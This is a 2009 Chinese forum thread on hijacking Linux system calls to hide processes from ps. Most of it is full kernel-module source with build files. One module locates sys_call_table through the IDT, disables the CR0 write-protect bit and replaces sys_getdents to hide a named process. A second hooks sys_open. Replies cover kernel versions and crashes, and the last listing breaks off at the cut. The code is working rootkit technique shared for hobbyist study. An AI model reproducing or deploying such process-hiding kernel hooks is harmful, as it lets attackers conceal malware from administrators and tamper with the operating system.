Chinaunix

标题: [原创]关于劫持系统调用隐藏进程的一些心得 [打印本页]

---

作者: g84ch    时间: 2009-09-17 09:56
标题: [原创]关于劫持系统调用隐藏进程的一些心得
网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:

1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.
unsigned int clear_and_return_cr0(void);
void setback_cr0(unsigned int val);

2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.

关于隐藏进程的原理,可以查看其他相关文章,主要是通过int 0x80 找sys_call_table的地址.

博客地址:http://blog.chinaunix.net/u3/103654/showart.php?id=2053976

测试环境: ubuntu9.04 内核版本2.6.28

模块代码如下:

/*hideps.c*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
//#include <sys/stat.h>
//#include <fcntl.h>
#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

int orig_cr0;
char psname[10]="looptest";
char *processname=psname;

//module_param(processname, charp, 0);
struct {
    unsigned short limit;
    unsigned int base;
} __attribute__ ((packed)) idtr;

struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none,flags;
    unsigned short off2;
} __attribute__ ((packed)) * idt;

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

void** sys_call_table;

unsigned int clear_and_return_cr0(void)
{
    unsigned int cr0 = 0;
    unsigned int ret;

    asm volatile ("movl %%cr0, %%eax"
            : "=a"(cr0)
         );
    ret = cr0;

    /*clear the 20th bit of CR0,*/
    cr0 &= 0xfffeffff;
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(cr0)
         );
    return ret;
}

void setback_cr0(unsigned int val)
{
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(val)
         );
}


asmlinkage long (*orig_getdents)(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count);

char * findoffset(char *start)
{
    char *p;
    for (p = start; p < start + CALLOFF; p++)
    if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
        return p;
    return NULL;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
    {
        if (*ptr < '0' || *ptr > '9')
            return (-1);
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    if(res>0 && res< 9999)
        printk(KERN_INFO "pid=%d,",res);
    printk("\n");
    return (res);
}

struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = get_current(),*entry=NULL;
    list_for_each_entry(entry,&(p->tasks),tasks)
    {
        if(entry->pid == pid)
        {
            printk("pid found=%d\n",entry->pid);
            return entry;
        }
        else
        {
    //    printk(KERN_INFO "pid=%d not found\n",pid);
        }
    }
    return NULL;
}

static inline char *get_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;
    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n')
        {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}

int get_process(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    //    char *buffer[64] = {0};
    char buffer[64];
    if (task)
    {
        get_name(task, buffer);
    //    if(pid>0 && pid<9999)
    //    printk(KERN_INFO "task name=%s\n",*buffer);
        if(strstr(buffer,processname))
            return 1;
        else
            return 0;
    }
    else
        return 0;
}

asmlinkage long hacked_getdents(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count)
{
    //added by lsc for process
    long value;
    //    struct inode *dinode;
    unsigned short len = 0;
    unsigned short tlen = 0;
//    struct linux_dirent *mydir = NULL;
//end
    //在这里调用一下sys_getdents,得到返回的结果
    value = (*orig_getdents) (fd, dirp, count);
    tlen = value;
    //遍历得到的目录列表
    while(tlen > 0)
    {
        len = dirp->d_reclen;
        tlen = tlen - len;
        printk("%s\n",dirp->d_name);
                              
        if(get_process(myatoi(dirp->d_name)) )
        {
            printk("find process\n");
        //发现匹配的进程，调用memmove将这条进程覆盖掉
            memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
            value = value - len;
            printk(KERN_INFO "hide successful.\n");
        }
        if(tlen)
            dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
    }
    printk(KERN_INFO "finished hacked_getdents.\n");
    return value;
}


void **get_sct_addr(void)
{
    unsigned sys_call_off;
    unsigned sct = 0;
    char *p;
    asm("sidt %0":"=m"(idtr));
    idt = (void *) (idtr.base + 8 * 0x80);
    sys_call_off = (idt->off2 << 16) | idt->off1;
    if ((p = findoffset((char *) sys_call_off)))
        sct = *(unsigned *) (p + 3);
    return ((void **)sct);
}


static int filter_init(void)
{
    //得到sys_call_table的偏移地址
    sys_call_table = get_sct_addr();
    if (!sys_call_table)
    {
        printk("get_act_addr(): NULL...\n");
        return 0;
    }
    else
        printk("sct: 0x%x\n", (unsigned int)sys_call_table);
    //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
    orig_getdents = sys_call_table[__NR_getdents];

    orig_cr0 = clear_and_return_cr0();
    sys_call_table[__NR_getdents] = hacked_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module loaded.\n");
                return 0;
}


static void filter_exit(void)
{
    orig_cr0 = clear_and_return_cr0();
    if (sys_call_table)
    sys_call_table[__NR_getdents] = orig_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module removed\n");
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");

makefile文件如下:

obj-m   :=hideps.o
EXTRA_CFLAGS := -Dsymname=sys_call_table
KDIR   := /lib/modules/$(shell uname -r)/build
PWD   := $(shell pwd)
default:
        $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
        $(RM) -rf .*.cmd *.mod.c *.o *.ko .tmp*


编写一个测试程序looptest.c,如下:
#include<stdio.h>

int main(void)
{
    while(1);
    return 0;
}

编译该测试程序,#gcc looptest.c -o looptest
并将该程序在后台运行,然后insmod 驱动模块hideps.ko,然后输入ps查看进程,可发现,looptest进程看不到了....

[ 本帖最后由 g84ch 于 2009-9-17 10:07 编辑 ]

---

作者: Godbach    时间: 2009-09-17 10:08
好文章。不知LZ的这个程序和内核版本关联紧密否，手头上只有2.6.18的内核。

---

作者: CUDev    时间: 2009-09-17 10:59
标题: 回复 #1 g84ch 的帖子
可以看一下这个:
http://blog.chinaunix.net/u/12592/showart_1903466.html

---

作者: g84ch    时间: 2009-09-17 11:28
标题: 回复 #2 Godbach 的帖子
2.6.18?是redhat的release吧,呵呵,应该是可以的,不过红帽中对ps的系统调用是sys_getdents还是sys_getdents64,这我没有去看,在ubuntu9.04中用的是sys_getdents,所以我程序里面劫持的它.

---

作者: g84ch    时间: 2009-09-17 11:29
标题: 回复 #3 CUDev 的帖子
代码的那个文件下载了是乱码,你能传个附件到这里来吗?谢谢...呵呵...

---

作者: Godbach    时间: 2009-09-17 11:32
标题: 回复 #4 g84ch 的帖子
对，RH发行了2.6.18的内核版本，不过我自己也从kernel.org上下载了干净的2.6.18.3的内核，现在玩的就自己下载的

---

作者: CUDev    时间: 2009-09-17 13:21
标题: 回复 #4 g84ch 的帖子
strace一下，看是哪个系统调用

---

作者: ninver    时间: 2009-09-17 13:24
我觉得两点可以改系统调用  一 在lib库里可以改动系统用 二 在call.s可以改 至于调用的函数你可以自己定义

---

作者: CUDev    时间: 2009-09-17 13:24
标题: 回复 #5 g84ch 的帖子
cublog的附件处理将tar.gz全部改为了.tgz后缀，可能会导致解压的时候直解压到tar文件。再对tar文件解压即可。
或者是tar xzvf xxxx.tgz

---

作者: chenbdchenbd    时间: 2009-09-17 14:24
好贴，支持。utu:" />


追加了点注释。

1. /*hideps.c*/
   
2. 
   
3. #include <linux/module.h>
   
4. #include <linux/kernel.h>
   
5. #include <asm/unistd.h>
   
6. #include <linux/types.h>
   
7. #include <linux/sched.h>
   
8. #include <linux/dirent.h>
   
9. #include <linux/string.h>
   
10. #include <linux/file.h>
    
11. #include <linux/fs.h>
    
12. #include <linux/list.h>
    
13. #include <asm/uaccess.h>
    
14. #include <linux/unistd.h>
    
15. //#include <sys/stat.h>
    
16. //#include <fcntl.h>
    
17. 
    
18. #define CALLOFF 100
    
19. 
    
20. //使用模块参数来定义需要隐藏的进程名
    
21. 
    
22. int orig_cr0;
    
23. char psname[10] = "looptest";
    
24. char *processname = psname;
    
25. 
    
26. //module_param(processname, charp, 0);
    
27. 
    
28. // idtr register
    
29. struct {
    
30.     unsigned short limit;// 16 bit(bit0-15)
    
31.     unsigned int base;    // 32 bit(bit16-47)
    
32. } __attribute__ ((packed)) idtr;
    
33. 
    
34. // idt entity(8byte)
    
35. struct {
    
36.     unsigned short off1; // offset bit0-15(bit0-15)
    
37.     unsigned short sel; //segment selector (bit16-31)
    
38.     unsigned char none,flags; //none:(bit32-39), flag:(bit40-47)
    
39.     unsigned short off2; //offset bit16-31(bit48-63)
    
40. } __attribute__ ((packed)) * idt;
    
41. 
    
42. struct linux_dirent{
    
43.     unsigned long     d_ino;
    
44.     unsigned long     d_off;
    
45.     unsigned short    d_reclen;
    
46.     char    d_name[1];
    
47. };
    
48. 
    
49. void** sys_call_table;
    
50. 
    
51. //clear bit19(20th bit) of cr0 and return original cr0
    
52. unsigned int clear_and_return_cr0(void)
    
53. {
    
54.     unsigned int cr0 = 0;
    
55.     unsigned int ret;
    
56. 
    
57.     asm volatile ("movl %%cr0, %%eax"
    
58.             : "=a"(cr0)
    
59.          );
    
60.     ret = cr0;
    
61. 
    
62.     /*clear the 20th bit of CR0,*/
    
63.     cr0 &= 0xfffeffff;
    
64.     asm volatile ("movl %%eax, %%cr0"
    
65.             :
    
66.             : "a"(cr0)
    
67.          );
    
68.     return ret;
    
69. }
    
70. 
    
71. // restore cr0 with original value
    
72. void setback_cr0(unsigned int val)
    
73. {
    
74.     asm volatile ("movl %%eax, %%cr0"
    
75.             :
    
76.             : "a"(val)
    
77.          );
    
78. }
    
79. 
    
80. // original system call func
    
81. asmlinkage long (*orig_getdents)(unsigned int fd,
    
82.                     struct linux_dirent __user *dirp, unsigned int count);
    
83. 
    
84. // get addr start with 0xff 0x14 0x85
    
85. char * findoffset(char *start)
    
86. {
    
87.     char *p;
    
88.     for (p = start; p < start + CALLOFF; p++)
    
89.         // In x86 machine code,   call *sys_call_table(,%eax,4)
    
90.         // is translated to   0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
    
91.         // the 4 ‘addr’ bytes form the address of 'sys_call_table[]'
    
92.         if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
    
93.             return p;
    
94.     return NULL;
    
95. }
    
96. 
    
97. // convert a digital string to int
    
98. int myatoi(char *str)
    
99. {
    
100.     int res = 0;
     
101.     int mul = 1;
     
102.     char *ptr;
     
103.     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
     
104.     {
     
105.         // not digit
     
106.         if (*ptr < '0' || *ptr > '9')
     
107.             return (-1);
     
108.         res += (*ptr - '0') * mul;
     
109.         mul *= 10;
     
110.     }
     
111.     if(res>0 && res< 9999)
     
112.         printk(KERN_INFO "pid=%d,",res);
     
113.     printk("\n");
     
114.     return (res);
     
115. }
     
116. 
     
117. // get task_struct by pid
     
118. struct task_struct *get_task(pid_t pid)
     
119. {
     
120.     struct task_struct *p = get_current(),*entry=NULL;
     
121.     list_for_each_entry(entry,&(p->tasks),tasks)
     
122.     {
     
123.         if(entry->pid == pid)
     
124.         {
     
125.             printk("pid found=%d\n",entry->pid);
     
126.             return entry;
     
127.         }
     
128.     }
     
129.     printk(KERN_INFO "pid=%d not found\n",pid);
     
130.     return NULL;
     
131. }
     
132. 
     
133. // get task's name
     
134. static inline char *get_name(struct task_struct *p, char *buf)
     
135. {
     
136.     int i;
     
137.     char *name;
     
138.     name = p->comm;
     
139.     i = sizeof(p->comm);
     
140.     do {
     
141.         unsigned char c = *name;
     
142.         name++;
     
143.         i--;
     
144.         *buf = c;
     
145.         if (!c)
     
146.             break;
     
147.         if (c == '\\') {
     
148.             buf[1] = c;
     
149.             buf += 2;
     
150.             continue;
     
151.         }
     
152.         if (c == '\n')
     
153.         {
     
154.             buf[0] = '\\';
     
155.             buf[1] = 'n';
     
156.             buf += 2;
     
157.             continue;
     
158.         }
     
159.         buf++;
     
160.     }
     
161.     while (i);
     
162.     *buf = '\n';
     
163.     return buf + 1;
     
164. }
     
165. 
     
166. // check if pid is which we want to hook
     
167. int get_process(pid_t pid)
     
168. {
     
169.     struct task_struct *task = get_task(pid);
     
170.     //    char *buffer[64] = {0};
     
171.     char buffer[64];
     
172.     if (task)
     
173.     {
     
174.         get_name(task, buffer);
     
175.     //    if(pid>0 && pid<9999)
     
176.     //    printk(KERN_INFO "task name=%s\n",*buffer);
     
177.         if(strstr(buffer,processname))
     
178.             return 1;
     
179.         else
     
180.             return 0;
     
181.     }
     
182.     else
     
183.         return 0;
     
184. }
     
185. 
     
186. //hook func
     
187. asmlinkage long hacked_getdents(unsigned int fd,
     
188.                     struct linux_dirent __user *dirp, unsigned int count)
     
189. {
     
190. //added by lsc for process
     
191.     long value;
     
192.     //    struct inode *dinode;
     
193.     unsigned short len = 0;
     
194.     unsigned short tlen = 0;
     
195. //    struct linux_dirent *mydir = NULL;
     
196. //end
     
197.     //在这里调用一下sys_getdents,得到返回的结果
     
198.     value = (*orig_getdents) (fd, dirp, count);
     
199.     tlen = value;
     
200.     //遍历得到的目录列表
     
201.     while(tlen > 0)
     
202.     {
     
203.         len = dirp->d_reclen;
     
204.         tlen = tlen - len;
     
205.         printk("%s\n",dirp->d_name);
     
206.                               
     
207.         if(get_process(myatoi(dirp->d_name)) )
     
208.         {
     
209.             printk("find process\n");
     
210.             //发现匹配的进程，调用memmove将这条进程覆盖掉
     
211.             memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
     
212.             value = value - len;
     
213.             printk(KERN_INFO "hide successful.\n");
     
214.         }
     
215.         if(tlen)
     
216.             dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
     
217.     }
     
218.     printk(KERN_INFO "finished hacked_getdents.\n");
     
219.     return value;
     
220. }
     
221. 
     
222. 
     
223. void **get_sct_addr(void)
     
224. {
     
225.     unsigned sys_call_off;
     
226.     unsigned sct = 0;
     
227.     char *p;
     
228. 
     
229.     // get idtr using sidt
     
230.     asm("sidt %0":"=m"(idtr));
     
231. 
     
232.     // get system_call idt
     
233.     idt = (void *) (idtr.base + 8 * 0x80);
     
234. 
     
235.     // get offset(address of system_call func)
     
236.     sys_call_off = (idt->off2 << 16) | idt->off1;
     
237. 
     
238.     // get call *sys_call_table(,%eax,4)
     
239.     if ((p = findoffset((char *) sys_call_off)))
     
240.         // add   0xff 0x14 0x85 3bytes
     
241.         sct = *(unsigned *) (p + 3);
     
242.     // sys_call_table
     
243.     return ((void **)sct);
     
244. }
     
245. 
     
246. 
     
247. static int filter_init(void)
     
248. {
     
249.     //得到sys_call_table的偏移地址
     
250.     sys_call_table = get_sct_addr();
     
251.     if (!sys_call_table)
     
252.     {
     
253.         printk("get_act_addr(): NULL...\n");
     
254.         return 0;
     
255.     }
     
256.     else
     
257.         printk("sct: 0x%x\n", (unsigned int)sys_call_table);
     
258.     //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
     
259.     orig_getdents = sys_call_table[__NR_getdents];
     
260. 
     
261.     orig_cr0 = clear_and_return_cr0();
     
262.     sys_call_table[__NR_getdents] = hacked_getdents;
     
263.     setback_cr0(orig_cr0);
     
264.     printk(KERN_INFO "hideps: module loaded.\n");
     
265.     return 0;
     
266. }
     
267. 
     
268. 
     
269. static void filter_exit(void)
     
270. {
     
271.     orig_cr0 = clear_and_return_cr0();
     
272.     if (sys_call_table)
     
273.     sys_call_table[__NR_getdents] = orig_getdents;
     
274.     setback_cr0(orig_cr0);
     
275.     printk(KERN_INFO "hideps: module removed\n");
     
276. }
     
277. module_init(filter_init);
     
278. module_exit(filter_exit);
     
279. MODULE_LICENSE("GPL");

复制代码

[ 本帖最后由 chenbdchenbd 于 2009-9-17 18:43 编辑 ]

---

作者: g84ch    时间: 2009-09-18 17:57
标题: 回复 #10 chenbdchenbd 的帖子
感谢感谢~~~

---

作者: Godbach    时间: 2009-09-21 19:11
2.6.18.3的内核，编译完之后先insmod内核模块，系统死掉，没有任何打印信息。

---

作者: Godbach    时间: 2009-09-21 19:36
先执行那个程序，然后再insmod也死掉。看来可以慢慢调试一把了，呵呵。

---

作者: g84ch    时间: 2009-09-22 09:49
标题: 回复 #13 Godbach 的帖子
可以试试把清CR0寄存器的那两步操作给去掉,再试试...

---

作者: Godbach    时间: 2009-09-22 09:55

原帖由 g84ch 于 2009-9-22 09:49 发表
可以试试把清CR0寄存器的那两步操作给去掉,再试试...

2.6下不清的话，应该是只读的吧。昨天也看了albcamus版主的那个帖子。

---

作者: W.Z.T    时间: 2009-09-22 13:15
用这种方法是最稳定的进程隐藏方式了， 不过也tooooooooooooooooooooooold了， 稍微新点的可以patch vfs层函数指针的方法， 或者现在用inlinke hook filldir64函数的方式～

---

作者: g84ch    时间: 2009-09-23 09:33
标题: 回复 #14 g84ch 的帖子
我也还没试,你知道是什么问题了吗?如果知道,分享一下吧....呵呵....

---

作者: g84ch    时间: 2009-09-23 09:34
标题: 回复 #16 W.Z.T 的帖子
感谢这位大哥赐教~~~

---

作者: Godbach    时间: 2009-09-23 10:32

原帖由 g84ch 于 2009-9-23 09:33 发表
我也还没试,你知道是什么问题了吗?如果知道,分享一下吧....呵呵....

LZ，你说没试，是指的你的程序还是其他？

---

作者: W.Z.T    时间: 2009-09-23 17:18

原帖由 g84ch 于 2009-9-23 09:34 发表
感谢这位大哥赐教~~~

不好意思， 看成是文件的隐藏了， filldir64是用来隐藏文件的

---

作者: g84ch    时间: 2009-09-23 22:20
标题: 回复 #19 Godbach 的帖子
我没有在redhat上的试过，不过ubuntu上是试过的。。。

---

作者: Godbach    时间: 2009-09-24 19:23
测试了albcamus版主给的劫持execve，open调用的例程。由于我的2.6.18的内核上的有个结构体和2.6.22（albcamus版主的例程）上的不一致，暂时屏蔽了劫持execve的代码，这里仅劫持open系统调用，修改后的代码如下：

1. #include <linux/kernel.h>
   
2. #include <linux/init.h>
   
3. #include <linux/module.h>
   
4. #include <linux/kprobes.h>
   
5. #include <linux/kallsyms.h>
   
6. #include <linux/sched.h>
   
7. #include <linux/ptrace.h>
   
8. #include <linux/mm.h>
   
9. #include <linux/smp.h>
   
10. #include <linux/user.h>
    
11. #include <linux/errno.h>
    
12. #include <linux/cpu.h>
    
13. #include <asm/uaccess.h>
    
14. #include <asm/fcntl.h>
    
15. #include <asm/unistd.h>
    
16. 
    
17. MODULE_DESCRIPTION("Intercept the system call table in Linux");
    
18. MODULE_AUTHOR("alert7 ([email]alert7@xfocus.org[/email]) \n\t\talbcamus <[email]albcamus@gmail.com[/email]>");
    
19. MODULE_LICENSE("GPL");
    
20. 
    
21. 
    
22. /* comment the following line to shut me up */
    
23. #define INTERCEPT_DEBUG
    
24. 
    
25. #ifdef INTERCEPT_DEBUG
    
26.     #define dbgprint(format,args...) \
    
27.         printk("intercept: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
    
28. #else
    
29.     #define dbgprint(format,args...)  do {} while(0);
    
30. #endif
    
31. 
    
32. 
    
33. /**
    
34. * the system call table
    
35. */
    
36. void **my_table;
    
37. 
    
38. unsigned int orig_cr0;
    
39. 
    
40. /**
    
41. * the original syscall functions
    
42. */
    
43. asmlinkage long (*old_open) (char __user *filename, int flags, int mode);
    
44. asmlinkage int  (*old_execve) (struct pt_regs regs);
    
45. 
    
46. 
    
47. 
    
48. /** do_execve and do_fork */
    
49. unsigned int can_exec_fork = 0;
    
50. int    (*new_do_execve) (char * filename,
    
51.             char __user *__user *argv,
    
52.             char __user *__user *envp,
    
53.             struct pt_regs * regs);
    
54. 
    
55. 
    
56. struct idtr {
    
57.     unsigned short limit;
    
58.     unsigned int base;
    
59. } __attribute__ ((packed));
    
60. 
    
61. 
    
62. struct idt {
    
63.     unsigned short off1;
    
64.     unsigned short sel;
    
65.     unsigned char none, flags;
    
66.     unsigned short off2;
    
67. } __attribute__ ((packed));
    
68. 
    
69. 
    
70. #if 0
    
71. /**
    
72. *  check if we can intercept fork/vfork/clone/execve or not
    
73. *
    
74. *  return : 0 for no, 1 for yes
    
75. */
    
76. struct kprobe kp_exec;
    
77. unsigned int can_intercept_fork_exec(void)
    
78. {
    
79.     int ret = 0;
    
80. 
    
81. #ifndef CONFIG_KPROBES
    
82.     return ret;
    
83. #endif
    
84. 
    
85.     kp_exec.symbol_name = "do_execve";
    
86. 
    
87.     ret = register_kprobe(&kp_exec);
    
88.     if (ret != 0 ) {
    
89.         dbgprint("cannot find do_execve by kprobe.\n");
    
90.         return 0;
    
91.     }
    
92.     new_do_execve = ( int (*)
    
93.              (char *,
    
94.               char __user * __user *,
    
95.               char __user * __user *,
    
96.               struct pt_regs *
    
97.              )
    
98.             ) kp_exec.addr;
    
99. 
    
100.     dbgprint("do_execve at %p\n", (void *)kp_exec.addr);
     
101.     unregister_kprobe(&kp_exec);
     
102. 
     
103. 
     
104.     return 1;
     
105. }
     
106. 
     
107. #endif
     
108. 
     
109. /**
     
110. * clear WP bit of CR0, and return the original value
     
111. */
     
112. unsigned int clear_and_return_cr0(void)
     
113. {
     
114.     unsigned int cr0 = 0;
     
115.     unsigned int ret;
     
116. 
     
117.     asm volatile ("movl %%cr0, %%eax"
     
118.               : "=a"(cr0)
     
119.               );
     
120.     ret = cr0;
     
121. 
     
122.     /* clear the 20 bit of CR0, a.k.a WP bit */
     
123.     cr0 &= 0xfffeffff;
     
124. 
     
125.     asm volatile ("movl %%eax, %%cr0"
     
126.               :
     
127.               : "a"(cr0)
     
128.               );
     
129.     return ret;
     
130. }
     
131. 
     
132. /** set CR0 with new value
     
133. *
     
134. * @val : new value to set in cr0
     
135. */
     
136. void setback_cr0(unsigned int val)
     
137. {
     
138.     asm volatile ("movl %%eax, %%cr0"
     
139.               :
     
140.               : "a"(val)
     
141.               );
     
142. }
     
143. 
     
144. 
     
145. /**
     
146. * Return the first appearence of NEEDLE in HAYSTACK.  
     
147. * */
     
148. static void *memmem(const void *haystack, size_t haystack_len,
     
149.             const void *needle, size_t needle_len)
     
150. {/*{{{*/
     
151.     const char *begin;
     
152.     const char *const last_possible
     
153.         = (const char *) haystack + haystack_len - needle_len;
     
154. 
     
155.     if (needle_len == 0)
     
156.         /* The first occurrence of the empty string is deemed to occur at
     
157.            the beginning of the string.  */
     
158.         return (void *) haystack;
     
159. 
     
160.     /* Sanity check, otherwise the loop might search through the whole
     
161.        memory.  */
     
162.     if (__builtin_expect(haystack_len < needle_len, 0))
     
163.         return NULL;
     
164. 
     
165.     for (begin = (const char *) haystack; begin <= last_possible;
     
166.          ++begin)
     
167.         if (begin[0] == ((const char *) needle)[0]
     
168.             && !memcmp((const void *) &begin[1],
     
169.                    (const void *) ((const char *) needle + 1),
     
170.                    needle_len - 1))
     
171.             return (void *) begin;
     
172. 
     
173.     return NULL;
     
174. }/*}}}*/
     
175. 
     
176. 
     
177. /**
     
178. * Find the location of sys_call_table
     
179. */
     
180. static unsigned long get_sys_call_table(void)
     
181. {/*{{{*/
     
182. /* we'll read first 100 bytes of int $0x80 */
     
183. #define OFFSET_SYSCALL 100        
     
184. 
     
185.     struct idtr idtr;
     
186.     struct idt idt;
     
187.     unsigned sys_call_off;
     
188.     unsigned retval;
     
189.     char sc_asm[OFFSET_SYSCALL], *p;
     
190. 
     
191.     /* well, let's read IDTR */
     
192.     asm("sidt %0":"=m"(idtr)
     
193.              :
     
194.              :"memory" );
     
195. 
     
196.     dbgprint("idtr base at 0x%X\n", (unsigned int)idtr.base);
     
197. 
     
198.     /* Read in IDT for vector 0x80 (syscall) */
     
199.     memcpy(&idt, (char *) idtr.base + 8 * 0x80, sizeof(idt));
     
200. 
     
201.     sys_call_off = (idt.off2 << 16) | idt.off1;
     
202. 
     
203.     dbgprint("idt80: flags=%X sel=%X off=%X\n",
     
204.                  (unsigned) idt.flags, (unsigned) idt.sel, sys_call_off);
     
205. 
     
206.     /* we have syscall routine address now, look for syscall table
     
207.        dispatch (indirect call) */
     
208.     memcpy(sc_asm, (void *)sys_call_off, OFFSET_SYSCALL);
     
209. 
     
210.     /**
     
211.      * Search opcode of `call sys_call_table(,eax,4)'
     
212.      */
     
213.     p = (char *) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\x85", 3);
     
214.     if (p == NULL)
     
215.         return 0;
     
216. 
     
217.     retval = *(unsigned *) (p + 3);
     
218.     if (p) {
     
219.         dbgprint("sys_call_table at 0x%x, call dispatch at 0x%x\n",
     
220.              retval, (unsigned int) p);
     
221.     }
     
222.     return retval;
     
223. #undef OFFSET_SYSCALL
     
224. }/*}}}*/
     
225. 
     
226. 
     
227. 
     
228. /**
     
229. * new_open - replace the original sys_open when initilazing,
     
230. *           as well as be got rid of when removed
     
231. */
     
232. asmlinkage long new_open(char *filename, int flags, int mode)
     
233. {
     
234.     dbgprint("hello\n");
     
235.     return old_open (filename, flags, mode);
     
236. }
     
237. 
     
238. 
     
239. /**
     
240. * new_execve - you should change this function whenever the kernel's sys_execve()
     
241. * changes
     
242. */
     
243. asmlinkage int new_execve(struct pt_regs regs)
     
244. {
     
245.     int error;
     
246.     char *filename;
     
247. 
     
248.     dbgprint("Hello\n");
     
249. 
     
250.     filename = getname( (char __user *) regs.ebx );
     
251.     error = PTR_ERR(filename);
     
252.     if ( IS_ERR(filename) )
     
253.         goto out;
     
254.     dbgprint("file to execve: %s\n", filename);
     
255.     error = new_do_execve(filename,
     
256.                   (char __user * __user *) regs.ecx,
     
257.                   (char __user * __user *) regs.edx,
     
258.                   &regs);
     
259.     if (error == 0) {
     
260.         task_lock(current);
     
261.         current->ptrace &= ~PT_DTRACE;
     
262.         task_unlock(current);
     
263.         set_thread_flag(TIF_IRET);
     
264.     }
     
265.     putname (filename);
     
266. out:
     
267.     return error;
     
268. }
     
269. 
     
270. static int intercept_init(void)
     
271. {
     
272.     my_table = (void **)get_sys_call_table();
     
273.     if (my_table == NULL)
     
274.         return -1;
     
275. 
     
276.     dbgprint("sys call table address %p\n", (void *) my_table);
     
277. 
     
278. #define REPLACE(x) old_##x = my_table[__NR_##x];\
     
279.     my_table[__NR_##x] = new_##x
     
280. 
     
281.    
     
282.     REPLACE(open);
     
283. #if 0
     
284.     can_exec_fork = can_intercept_fork_exec();
     
285.     if(can_exec_fork == 1)
     
286.         REPLACE(execve);
     
287. #endif
     
288. 
     
289. #undef REPLACE
     
290.     return 0;
     
291. }
     
292. 
     
293. 
     
294. 
     
295. 
     
296. 
     
297. static int __init this_init(void)
     
298. {
     
299.     int ret;
     
300.     printk("syscall intercept: Hi, poor linux!\n");
     
301. 
     
302.     orig_cr0 = clear_and_return_cr0();   
     
303.     ret = intercept_init();
     
304.     setback_cr0(orig_cr0);
     
305. 
     
306.     return ret;
     
307. }
     
308. 
     
309. static void __exit this_fini(void)
     
310. {
     
311.     printk("syscall intercept: bye, poor linux!\n");
     
312. 
     
313. #define RESTORE(x) my_table[__NR_##x] = old_##x
     
314. 
     
315.     orig_cr0 = clear_and_return_cr0();   
     
316.     RESTORE(open);
     
317. #if 0
     
318.     if(can_exec_fork == 1)
     
319.         RESTORE(execve);
     
320. #endif
     
321.     setback_cr0(orig_cr0);
     
322. 
     
323. #undef RESTORE
     
324. }
     
325. 
     
326. module_init(this_init);
     
327. module_exit(this_fini);

复制代码

然后查看一下日志，看到如下信息：

Sep 24 19:06:49 localhost kernel: intercept: function:get_sys_call_table-L220: sys_call_table at 0xc11f14e0, call dispatch at 0xcebeceaa
Sep 24 19:06:49 localhost kernel: intercept: function:intercept_init-L276: sys call table address c11f14e0
Sep 24 19:06:50 localhost kernel: intercept: function:new_open-L234: hello
Sep 24 19:07:00 localhost last message repeated 460 times

可见open系统调用被成功劫持，而且系统在执行的过程中，open的调用是很频繁的。

---

作者: g84ch    时间: 2009-09-25 11:24
标题: 回复 #22 Godbach 的帖子
关于CR0的问题,当时困扰了我很久....CU上的帖子真是好资源啊~~~~

---

作者: Godbach    时间: 2009-09-25 11:27

原帖由 g84ch 于 2009-9-25 11:24 发表
关于CR0的问题,当时困扰了我很久....CU上的帖子真是好资源啊~~~~

呵呵，众人拾柴火焰高啊

---

作者: gcbin007    时间: 2009-10-12 15:17

---

作者: Godbach    时间: 2009-10-13 15:45
网上看到一个用户态获取syscall table地址的例程，计算出的idtr.base地址和我上面给出的内核模块计算出的不一样，用户态例程链接为http://www.phpweblog.net/GaRY/ar ... _table_address.html，源码如下：

1. #include <stdio.h>
   
2. #include <stdlib.h>
   
3. #include <string.h>
   
4. #include <sys/types.h>
   
5. #include <sys/stat.h>
   
6. #include <fcntl.h>
   
7. #include <unistd.h>
   
8. #include <errno.h>
   
9. #include <sys/mman.h>
   
10. #define CALLOFF 100 //读取100字节
    
11. 
    
12. struct {
    
13. 
    
